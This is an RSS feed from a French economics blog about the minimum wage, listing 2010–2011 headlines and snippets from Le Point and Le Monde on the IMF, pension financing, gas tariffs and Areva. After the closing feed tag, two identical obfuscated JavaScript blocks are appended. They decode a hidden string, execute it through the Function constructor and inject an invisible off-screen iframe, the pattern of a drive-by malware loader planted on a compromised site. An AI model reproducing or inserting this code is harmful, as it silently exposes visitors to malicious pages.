<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C, &#187; Avant</title>
	<atom:link href="http://www.le-smic.fr/tag/avant/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Sat, 11 Feb 2012 07:18:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>DSK admet l&#8217;échec du FMI dans ses prévisions avant la crise</title>
		<link>http://www.le-smic.fr/2011/02/10/dsk-admet-lechec-du-fmi-dans-ses-previsions-avant-la-crise/</link>
		<comments>http://www.le-smic.fr/2011/02/10/dsk-admet-lechec-du-fmi-dans-ses-previsions-avant-la-crise/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 01:29:05 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[admet]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[crise]]></category>
		<category><![CDATA[Dans]]></category>
		<category><![CDATA[L'échec]]></category>
		<category><![CDATA[prévisions]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2011/02/10/dsk-admet-lechec-du-fmi-dans-ses-previsions-avant-la-crise/</guid>
		<description><![CDATA[Le directeur général du Fonds monétaire international, Dominique&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Le directeur général du Fonds monétaire international, Dominique&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/dsk-admet-l-echec-du-fmi-dans-ses-previsions-avant-la-crise-09-02-2011-1293692_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2011/02/10/dsk-admet-lechec-du-fmi-dans-ses-previsions-avant-la-crise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paris et Berlin affichent leur unité avant le sommet de Bruxelles</title>
		<link>http://www.le-smic.fr/2010/12/10/paris-et-berlin-affichent-leur-unite-avant-le-sommet-de-bruxelles/</link>
		<comments>http://www.le-smic.fr/2010/12/10/paris-et-berlin-affichent-leur-unite-avant-le-sommet-de-bruxelles/#comments</comments>
		<pubDate>Fri, 10 Dec 2010 19:35:44 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[affichent]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[Berlin]]></category>
		<category><![CDATA[Bruxelles]]></category>
		<category><![CDATA[leur]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[Sommet]]></category>
		<category><![CDATA[unité]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/12/10/paris-et-berlin-affichent-leur-unite-avant-le-sommet-de-bruxelles/</guid>
		<description><![CDATA[La chancelière Angela Merkel et le président Nicolas Sarkozy ont affiché,&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	 La chancelière Angela Merkel et le président Nicolas Sarkozy ont affiché,&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/paris-et-berlin-affichent-leur-unite-avant-le-sommet-de-bruxelles-10-12-2010-1273911_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/12/10/paris-et-berlin-affichent-leur-unite-avant-le-sommet-de-bruxelles/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SOCIAL &#8211; Retraite complémentaire : la CGT signe l&#8217;accord sur le financement avant 65 ans</title>
		<link>http://www.le-smic.fr/2010/12/01/social-retraite-complementaire-la-cgt-signe-laccord-sur-le-financement-avant-65-ans/</link>
		<comments>http://www.le-smic.fr/2010/12/01/social-retraite-complementaire-la-cgt-signe-laccord-sur-le-financement-avant-65-ans/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 00:04:43 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[complémentaire]]></category>
		<category><![CDATA[financement]]></category>
		<category><![CDATA[l'accord]]></category>
		<category><![CDATA[retraite]]></category>
		<category><![CDATA[Signe]]></category>
		<category><![CDATA[Social]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/12/01/social-retraite-complementaire-la-cgt-signe-laccord-sur-le-financement-avant-65-ans/</guid>
		<description><![CDATA[La CGT a décidé de signer l&#8217;accord entre les syndicats et le patronat&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	 La CGT a décidé de signer l&#8217;accord entre les syndicats et le patronat&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/retraite-complementaire-la-cgt-signe-l-accord-sur-le-financement-avant-65-ans-30-11-2010-1268860_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/12/01/social-retraite-complementaire-la-cgt-signe-laccord-sur-le-financement-avant-65-ans/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NÉGOCIATIONS &#8211; Accord sur le financement des retraites complémentaires avant 65 ans</title>
		<link>http://www.le-smic.fr/2010/11/26/negociations-accord-sur-le-financement-des-retraites-complementaires-avant-65-ans/</link>
		<comments>http://www.le-smic.fr/2010/11/26/negociations-accord-sur-le-financement-des-retraites-complementaires-avant-65-ans/#comments</comments>
		<pubDate>Thu, 25 Nov 2010 23:27:51 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[accord]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[complémentaires]]></category>
		<category><![CDATA[financement]]></category>
		<category><![CDATA[négociations]]></category>
		<category><![CDATA[Retraites]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/26/negociations-accord-sur-le-financement-des-retraites-complementaires-avant-65-ans/</guid>
		<description><![CDATA[Les syndicats et le patronat sont parvenus jeudi à un accord pour reconduire&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Les syndicats et le patronat sont parvenus jeudi à un accord pour reconduire&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/accord-sur-le-financement-des-retraites-complementaires-avant-65-ans-25-11-2010-1267249_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/26/negociations-accord-sur-le-financement-des-retraites-complementaires-avant-65-ans/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CONSOMMATION &#8211; Pas d&#8217;augmentation des tarifs du gaz naturel avant avril 2011, promet le gouvernement</title>
		<link>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-promet-le-gouvernement/</link>
		<comments>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-promet-le-gouvernement/#comments</comments>
		<pubDate>Tue, 16 Nov 2010 16:20:24 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[2011]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[avril]]></category>
		<category><![CDATA[CONSOMMATION]]></category>
		<category><![CDATA[d'augmentation]]></category>
		<category><![CDATA[gouvernement]]></category>
		<category><![CDATA[naturel]]></category>
		<category><![CDATA[promet]]></category>
		<category><![CDATA[tarifs]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-promet-le-gouvernement/</guid>
		<description><![CDATA[Les tarifs du gaz naturel, qui sont en principe réévalués tous les trois&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>
Les tarifs du gaz naturel, qui sont en principe réévalués tous les trois&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/pas-d-augmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-promet-le-gouvernement-16-11-2010-1262858_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-promet-le-gouvernement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CONSOMMATION &#8211; Pas d&#8217;augmentation des tarifs du gaz naturel avant avril 2011</title>
		<link>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011/</link>
		<comments>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011/#comments</comments>
		<pubDate>Tue, 16 Nov 2010 11:33:58 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[2011]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[avril]]></category>
		<category><![CDATA[CONSOMMATION]]></category>
		<category><![CDATA[d'augmentation]]></category>
		<category><![CDATA[naturel]]></category>
		<category><![CDATA[tarifs]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011/</guid>
		<description><![CDATA[Les tarifs du gaz naturel, qui sont en principe réévalués tous les trois&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>
Les tarifs du gaz naturel, qui sont en principe réévalués tous les trois&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/pas-d-augmentation-des-tarifs-du-gaz-naturel-avant-avril-2011-16-11-2010-1262858_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/16/consommation-pas-daugmentation-des-tarifs-du-gaz-naturel-avant-avril-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EUROPE &#8211; L&#8217;Estonie sur la bonne voie avant d&#8217;accueillir l&#8217;euro</title>
		<link>http://www.le-smic.fr/2010/11/14/europe-lestonie-sur-la-bonne-voie-avant-daccueillir-leuro/</link>
		<comments>http://www.le-smic.fr/2010/11/14/europe-lestonie-sur-la-bonne-voie-avant-daccueillir-leuro/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 01:33:15 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[Bonne]]></category>
		<category><![CDATA[d'accueillir]]></category>
		<category><![CDATA[Europe]]></category>
		<category><![CDATA[l'Estonie]]></category>
		<category><![CDATA[L'euro]]></category>
		<category><![CDATA[voie]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/14/europe-lestonie-sur-la-bonne-voie-avant-daccueillir-leuro/</guid>
		<description><![CDATA[À un mois et demi de l&#8217;introduction de l&#8217;euro en Estonie, la Commission&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	À un mois et demi de l&#8217;introduction de l&#8217;euro en Estonie, la Commission&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/l-estonie-sur-la-bonne-voie-avant-d-accueillir-l-euro-12-11-2010-1261504_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/14/europe-lestonie-sur-la-bonne-voie-avant-daccueillir-leuro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BLOCAGES &#8211; CARBURANTS &#8211; Retour à la normale progressif avant la Toussaint</title>
		<link>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint-2/</link>
		<comments>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint-2/#comments</comments>
		<pubDate>Thu, 28 Oct 2010 19:26:11 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[blocages]]></category>
		<category><![CDATA[CARBURANTS]]></category>
		<category><![CDATA[normale]]></category>
		<category><![CDATA[progressif]]></category>
		<category><![CDATA[retour]]></category>
		<category><![CDATA[Toussaint]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint-2/</guid>
		<description><![CDATA[&#171;&#160;La situation se stabilise autour de 20 % (de stations à sec)&#160;&#187;, a indiqué&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	&laquo;&nbsp;La situation se stabilise autour de 20 % (de stations à sec)&nbsp;&raquo;, a indiqué&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/carburants-retour-a-la-normale-progressif-avant-la-toussaint-28-10-2010-1255844_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BLOCAGES &#8211; CARBURANTS &#8211; Retour à la normale progressif avant la Toussaint</title>
		<link>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint/</link>
		<comments>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint/#comments</comments>
		<pubDate>Thu, 28 Oct 2010 19:26:11 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[blocages]]></category>
		<category><![CDATA[CARBURANTS]]></category>
		<category><![CDATA[normale]]></category>
		<category><![CDATA[progressif]]></category>
		<category><![CDATA[retour]]></category>
		<category><![CDATA[Toussaint]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint/</guid>
		<description><![CDATA[&#171;&#160;La situation se stabilise autour de 20 % (de stations à sec)&#160;&#187;, a indiqué&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	&laquo;&nbsp;La situation se stabilise autour de 20 % (de stations à sec)&nbsp;&raquo;, a indiqué&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/carburants-retour-a-la-normale-progressif-avant-la-toussaint-28-10-2010-1255844_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/10/28/blocages-carburants-retour-a-la-normale-progressif-avant-la-toussaint/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L&#8217;Etat veut augmenter le capital d&#8217;Areva avant la fin 2010</title>
		<link>http://www.le-smic.fr/2010/10/14/letat-veut-augmenter-le-capital-dareva-avant-la-fin-2010/</link>
		<comments>http://www.le-smic.fr/2010/10/14/letat-veut-augmenter-le-capital-dareva-avant-la-fin-2010/#comments</comments>
		<pubDate>Thu, 14 Oct 2010 00:57:02 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[Augmenter]]></category>
		<category><![CDATA[Avant]]></category>
		<category><![CDATA[capital]]></category>
		<category><![CDATA[d'Areva]]></category>
		<category><![CDATA[l'État]]></category>
		<category><![CDATA[veut]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/10/14/letat-veut-augmenter-le-capital-dareva-avant-la-fin-2010/</guid>
		<description><![CDATA[L&#8217;Etat souhaiterait qu&#8217;EDF porte à 5 ou 6 % sa part dans le capital d&#8217;Areva afin de renforcer la filière nucléaire française. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>L&#8217;Etat souhaiterait qu&#8217;EDF porte à 5 ou 6 % sa part dans le capital d&#8217;Areva afin de renforcer la filière nucléaire française.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/eb22010/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/83963542965/u/214/f/3055/c/205/s/eb22010/kg/43/a2.htm"><img src="http://da.feedsportal.com/r/83963542965/u/214/f/3055/c/205/s/eb22010/kg/43/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/10/13/l-etat-veut-augmenter-le-capital-d-areva-avant-la-fin-2010_1425790_3234.html#mf_sid=246554640">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/10/14/letat-veut-augmenter-le-capital-dareva-avant-la-fin-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
